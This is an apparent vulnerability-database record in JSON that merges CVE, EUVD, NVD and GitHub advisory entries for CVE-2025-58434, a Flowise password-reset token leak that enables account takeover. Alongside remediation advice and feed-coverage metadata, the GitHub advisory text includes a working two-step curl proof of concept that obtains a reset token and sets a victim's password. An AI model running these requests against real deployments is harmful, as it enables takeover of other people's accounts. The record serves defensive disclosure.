{"id":"CVE-2025-58434","revision":null,"records":[{"revision":"062d6721192c4a24bcfa278e1c538040","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2025-58434","aliases":[],"title":"Flowise Cloud and Local Deployments have Unauthenticated Password Reset Token Disclosure that Leads to Account Takeover","description":"Flowise is a drag & drop user interface to build a customized large language model flow. In version 3.0.5 and earlier, the `forgot-password` endpoint in Flowise returns sensitive information including a valid password reset `tempToken` without authentication or verification. This enables any attacker to generate a reset token for arbitrary users and directly reset their password, leading to a complete account takeover (ATO). This vulnerability applies to both the cloud service (`cloud.flowiseai.com`) and self-hosted/local Flowise deployments that expose the same API. Commit 9e178d68873eb876073846433a596590d3d9c863 in version 3.0.6 secures password reset endpoints. Several recommended remediation steps are available. Do not return reset tokens or sensitive account details in API responses. Tokens must only be delivered securely via the registered email channel. Ensure `forgot-password` responds with a generic success message regardless of input, to avoid user enumeration. Require strong validation of the `tempToken` (e.g., single-use, short expiry, tied to request origin, validated against email delivery). Apply the same fixes to both cloud and self-hosted/local deployments. Log and monitor password reset requests for suspicious activity. Consider multi-factor verification for sensitive accounts.","state":0,"publishedAt":"2025-09-12T17:37:08.19+00:00","modifiedAt":"2025-09-15T15:31:08.595+00:00","affected":[{"ecosystem":"Vendor product","name":"Flowise","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"FlowiseAI\",\n                    \"product\": \"Flowise\",\n                    \"versions\": [\n                        {\n                            \"version\": \"<= 3.0.5\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"severity":"CRITICAL"}],"references":["https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-wgpv-6j63-x5ph","https://github.com/FlowiseAI/Flowise/commit/9e178d68873eb876073846433a596590d3d9c863"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2025-58434","license":"CVE Program Terms of Use","key":"cve-program:CVE-2025-58434","identifiers":["CVE-2025-58434"]},"retained":false,"historicalAffected":[]},{"revision":"539ab00c40564046bfe4fcceaeb8e4ef","observedAt":"2026-11-11T03:36:52.817+00:00","statement":{"source":"euvd","id":"EUVD-2025-29069","aliases":["CVE-2025-58434","GHSA-wgpv-6j63-x5ph"],"title":"Flowise is a drag & drop user interface to build a customized large language model flow. In version 3.0.5 and earlier, the `forgot-password` endpoint in Flowise returns sensitive information including a valid password reset `tempToken` with…","description":"Flowise is a drag & drop user interface to build a customized large language model flow. In version 3.0.5 and earlier, the `forgot-password` endpoint in Flowise returns sensitive information including a valid password reset `tempToken` without authentication or verification. This enables any attacker to generate a reset token for arbitrary users and directly reset their password, leading to a complete account takeover (ATO). This vulnerability applies to both the cloud service (`cloud.flowiseai.com`) and self-hosted/local Flowise deployments that expose the same API. Commit 9e178d68873eb876073846433a596590d3d9c863 in version 3.0.6 secures password reset endpoints. Several recommended remediation steps are available. Do not return reset tokens or sensitive account details in API responses. Tokens must only be delivered securely via the registered email channel. Ensure `forgot-password` responds with a generic success message regardless of input, to avoid user enumeration. Require strong validation of the `tempToken` (e.g., single-use, short expiry, tied to request origin, validated against email delivery). Apply the same fixes to both cloud and self-hosted/local deployments. Log and monitor password reset requests for suspicious activity. Consider multi-factor verification for sensitive accounts.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"severity":null}],"references":["https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-wgpv-6j63-x5ph","https://github.com/FlowiseAI/Flowise/commit/9e178d68873eb876073846433a596590d3d9c863"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2025-29069","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Sep 12, 2025, 5:37:08 PM","dateUpdated":"Sep 15, 2025, 3:31:08 PM"},"relatedAdvisories":[{"id":"WID-SEC-W-2025-2048","title":"Flowise: Mehrere Schwachstellen","vulnerabilityIds":["CVE-2025-58434","CVE-2025-71324","CVE-2025-71336"]}],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2025-29069","identifiers":["EUVD-2025-29069","CVE-2025-58434","GHSA-wgpv-6j63-x5ph"]},"retained":false,"historicalAffected":[]},{"revision":"94b9fe7627874a319552895f320efa65","observedAt":"2026-10-25T03:17:18.142+00:00","statement":{"source":"nvd","id":"CVE-2025-58434","aliases":[],"title":"Flowise is a drag & drop user interface to build a customized large language model flow. In version 3.0.5 and earlier, the `forgot-password` endpoint in Flowise returns sensitive information including a valid password reset `tempToken` with…","description":"Flowise is a drag & drop user interface to build a customized large language model flow. In version 3.0.5 and earlier, the `forgot-password` endpoint in Flowise returns sensitive information including a valid password reset `tempToken` without authentication or verification. This enables any attacker to generate a reset token for arbitrary users and directly reset their password, leading to a complete account takeover (ATO). This vulnerability applies to both the cloud service (`cloud.flowiseai.com`) and self-hosted/local Flowise deployments that expose the same API. Commit 9e178d68873eb876073846433a596590d3d9c863 in version 3.0.6 secures password reset endpoints. Several recommended remediation steps are available. Do not return reset tokens or sensitive account details in API responses. Tokens must only be delivered securely via the registered email channel. Ensure `forgot-password` responds with a generic success message regardless of input, to avoid user enumeration. Require strong validation of the `tempToken` (e.g., single-use, short expiry, tied to request origin, validated against email delivery). Apply the same fixes to both cloud and self-hosted/local deployments. Log and monitor password reset requests for suspicious activity. Consider multi-factor verification for sensitive accounts.","state":0,"publishedAt":"2025-09-12T18:15:34.847+00:00","modifiedAt":"2026-09-30T17:10:00.187+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"severity":"CRITICAL"}],"references":["https://github.com/FlowiseAI/Flowise/commit/9e178d68873eb876073846433a596590d3d9c863","https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-wgpv-6j63-x5ph"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2025-58434","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Analyzed","weaknesses":["CWE-306"],"productCriteria":["cpe:2.3:a:flowiseai:flowise:*:*:*:*:*:*:*:*"],"sourceDates":{"published":"2025-09-12T18:15:34.847","lastModified":"2026-09-30T17:10:00.187"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2025-58434","identifiers":["CVE-2025-58434"]},"retained":false,"historicalAffected":[]},{"revision":"410b8da23bbc4497a8297234ae31a2ae","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-wgpv-6j63-x5ph","aliases":["CVE-2025-58434"],"title":"Flowise Cloud and Local Deployments have Unauthenticated Password Reset Token Disclosure that Leads to Account Takeover","description":"### Summary\n\nThe `forgot-password` endpoint in Flowise returns sensitive information including a valid password reset `tempToken` without authentication or verification. This enables any attacker to generate a reset token for arbitrary users and directly reset their password, leading to a complete **account takeover (ATO)**.\n\nThis vulnerability applies to **both the cloud service (`cloud.flowiseai.com`) and self-hosted/local Flowise deployments** that expose the same API.\n\n**CVSS v3.1 Base Score:** **9.8 (Critical)**\n**Vector String:** `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`\n\n---\n\n### Details\n\n* The endpoint `/api/v1/account/forgot-password` accepts an email address as input.\n* Instead of only sending a reset email, the API **responds directly with sensitive user details**, including:\n\n  * User ID, name, email, hashed credential, status, timestamps.\n  * **A valid `tempToken` and its expiry**, which is intended for password reset.\n* This `tempToken` can then be reused immediately in the `/api/v1/account/reset-password` endpoint to reset the password of the targeted account **without any email verification** or user interaction.\n* Exploitation requires only the victim’s email address, which is often guessable or discoverable.\n* Because the vulnerable endpoints exist in both **Flowise Cloud** and **local/self-hosted deployments**, any exposed instance is vulnerable to account takeover.\n\nThis effectively allows any unauthenticated attacker to **take over arbitrary accounts** (including admin or privileged accounts) by requesting a reset for their email.\n\n---\n\n### PoC\n\n1. **Request a reset token for the victim**\n\n```bash\ncurl -i -X POST https://<target>/api/v1/account/forgot-password \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"user\":{\"email\":\"<victim@example.com>\"}}'\n```\n\n**Response (201 Created):**\n\n```json\n{\n  \"user\": {\n    \"id\": \"<redacted-uuid>\",\n    \"name\": \"<redacted>\",\n    \"email\": \"<victim@example.com>\",\n    \"credential\": \"<redacted-hash>\",\n    \"tempToken\": \"<redacted-tempToken>\",\n    \"tokenExpiry\": \"2025-08-19T13:00:33.834Z\",\n    \"status\": \"active\"\n  }\n}\n```\n\n2. **Use the exposed `tempToken` to reset the password**\n\n```bash\ncurl -i -X POST https://<target>/api/v1/account/reset-password \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\n        \"user\":{\n          \"email\":\"<victim@example.com>\",\n          \"tempToken\":\"<redacted-tempToken>\",\n          \"password\":\"NewSecurePassword123!\"\n        }\n      }'\n```\n\n**Expected Result:** `200 OK`\nThe victim’s account password is reset, allowing full login.\n\n---\n\n### Impact\n\n* **Type:** Authentication bypass / Insecure direct object exposure.\n* **Impact:**\n\n  * Any account (including administrator or high-value accounts) can be reset and taken over with only the email address.\n  * Applies to **both Flowise Cloud and locally hosted/self-managed deployments**.\n  * Leads to full account takeover, data exposure, impersonation, and possible control over organizational assets.\n  * High likelihood of exploitation since no prior access or user interaction is required.\n\n---\n\n### Recommended Remediation\n\n* **Do not return reset tokens** or sensitive account details in API responses. Tokens must only be delivered securely via the registered email channel.\n* Ensure `forgot-password` responds with a generic success message regardless of input, to avoid user enumeration.\n* Require strong validation of the `tempToken` (e.g., single-use, short expiry, tied to request origin, validated against email delivery).\n* Apply the same fixes to **both cloud and self-hosted/local deployments**.\n* Log and monitor password reset requests for suspicious activity.\n* Consider multi-factor verification for sensitive accounts.\n\n\nCredit\n\n---\n\n⚠️ This is a **Critical ATO vulnerability** because it allows attackers to compromise any account with only knowledge of an email address, and it applies to **all deployment models (cloud and local)**.\n\n---","state":0,"publishedAt":"2025-09-12T20:02:40+00:00","modifiedAt":"2025-09-15T15:31:14+00:00","affected":[{"ecosystem":"npm","name":"flowise","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"3.0.6"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"CRITICAL"}],"references":["https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-wgpv-6j63-x5ph","https://nvd.nist.gov/vuln/detail/CVE-2025-58434","https://github.com/FlowiseAI/Flowise/commit/9e178d68873eb876073846433a596590d3d9c863","https://github.com/FlowiseAI/Flowise"],"sourceUrl":"https://github.com/advisories/GHSA-wgpv-6j63-x5ph","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-wgpv-6j63-x5ph","identifiers":["GHSA-wgpv-6j63-x5ph","CVE-2025-58434"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-12T02:56:45.8822264+00:00","complete":true,"records":1779,"lastAttemptAt":"2026-11-12T02:56:45.8822264+00:00","lastSuccessAt":"2026-11-12T02:56:46.0427292+00:00","error":null,"lastVerifiedAt":"2026-11-12T02:56:46.0427301+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-64752486c567b55b31fb0d7225f5222bcd0019564ac0ac5f0649e242c7b19299-c8f0a5eb97b437649f83f6fe632ec849fcb249052407d33e475e82c88b318dfb","complete":true,"records":424535,"lastAttemptAt":"2026-11-12T02:56:45.3610802+00:00","lastSuccessAt":"2026-11-12T02:56:45.341976+00:00","error":null,"lastVerifiedAt":"2026-11-12T02:56:45.3610802+00:00","snapshotPublishedAt":"2026-11-12T02:25:26+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-3bce114846604d92838a2dc302341627","complete":false,"records":13760,"lastAttemptAt":"2026-11-12T03:06:53.8778262+00:00","lastSuccessAt":"2026-11-12T03:06:52.8+00:00","error":"754 identifier lookups failed; latest failures include AccessDenied (HTTP 403). Other identifiers were checked independently.","lastVerifiedAt":"2026-11-12T03:06:52.8+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13040,"expectedIdentifiers":13813,"failedIdentifiers":754},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-12T02:56:45.8822264+00:00","complete":true,"records":1097,"lastAttemptAt":"2026-11-12T02:56:45.8822264+00:00","lastSuccessAt":"2026-11-12T02:56:46.0434469+00:00","error":null,"lastVerifiedAt":"2026-11-12T02:56:46.0434471+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-729a419ccc5f41d8a3330c7c6e8b6a5e","complete":true,"records":13760,"lastAttemptAt":"2026-11-12T02:57:11.7691852+00:00","lastSuccessAt":"2026-11-12T02:57:11.766+00:00","error":null,"lastVerifiedAt":"2026-11-12T02:57:11.766+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13813,"expectedIdentifiers":13813,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-3562b6c78fd1bd0f0b55daf66a0926ae24f65e462df7f6d928caad458fc696bf","complete":true,"records":9947,"lastAttemptAt":"2026-11-12T02:56:45.7363501+00:00","lastSuccessAt":"2026-11-11T04:27:43.6877707+00:00","error":null,"lastVerifiedAt":"2026-11-12T02:56:45.7363501+00:00","snapshotPublishedAt":"2026-11-11T03:32:46+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-456002455e0ab94bb92c95476d4e6d175c104cd594749982afd96c893728ecbc","complete":true,"records":2010,"lastAttemptAt":"2026-11-12T02:56:45.5271491+00:00","lastSuccessAt":"2026-11-11T02:36:58.1276999+00:00","error":null,"lastVerifiedAt":"2026-11-12T02:56:45.5271491+00:00","snapshotPublishedAt":"2026-11-11T01:17:51+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-baa8362b4daf9e5f39d5563775a55935e7b442c0735d33274a921579ce4a0d66","complete":true,"records":3093,"lastAttemptAt":"2026-11-12T02:56:45.8443473+00:00","lastSuccessAt":"2026-11-11T13:00:02.5446881+00:00","error":null,"lastVerifiedAt":"2026-11-12T02:56:45.8443473+00:00","snapshotPublishedAt":"2026-11-11T12:47:47+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-685fe7fb2b690656c910a1ea42a9d294e8353311ac8ecfa691a9b0ff1b328804","complete":true,"records":231695,"lastAttemptAt":"2026-11-12T02:56:45.6384803+00:00","lastSuccessAt":"2026-11-11T21:58:47.7265713+00:00","error":null,"lastVerifiedAt":"2026-11-12T02:56:45.6384803+00:00","snapshotPublishedAt":"2026-11-11T21:48:35+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}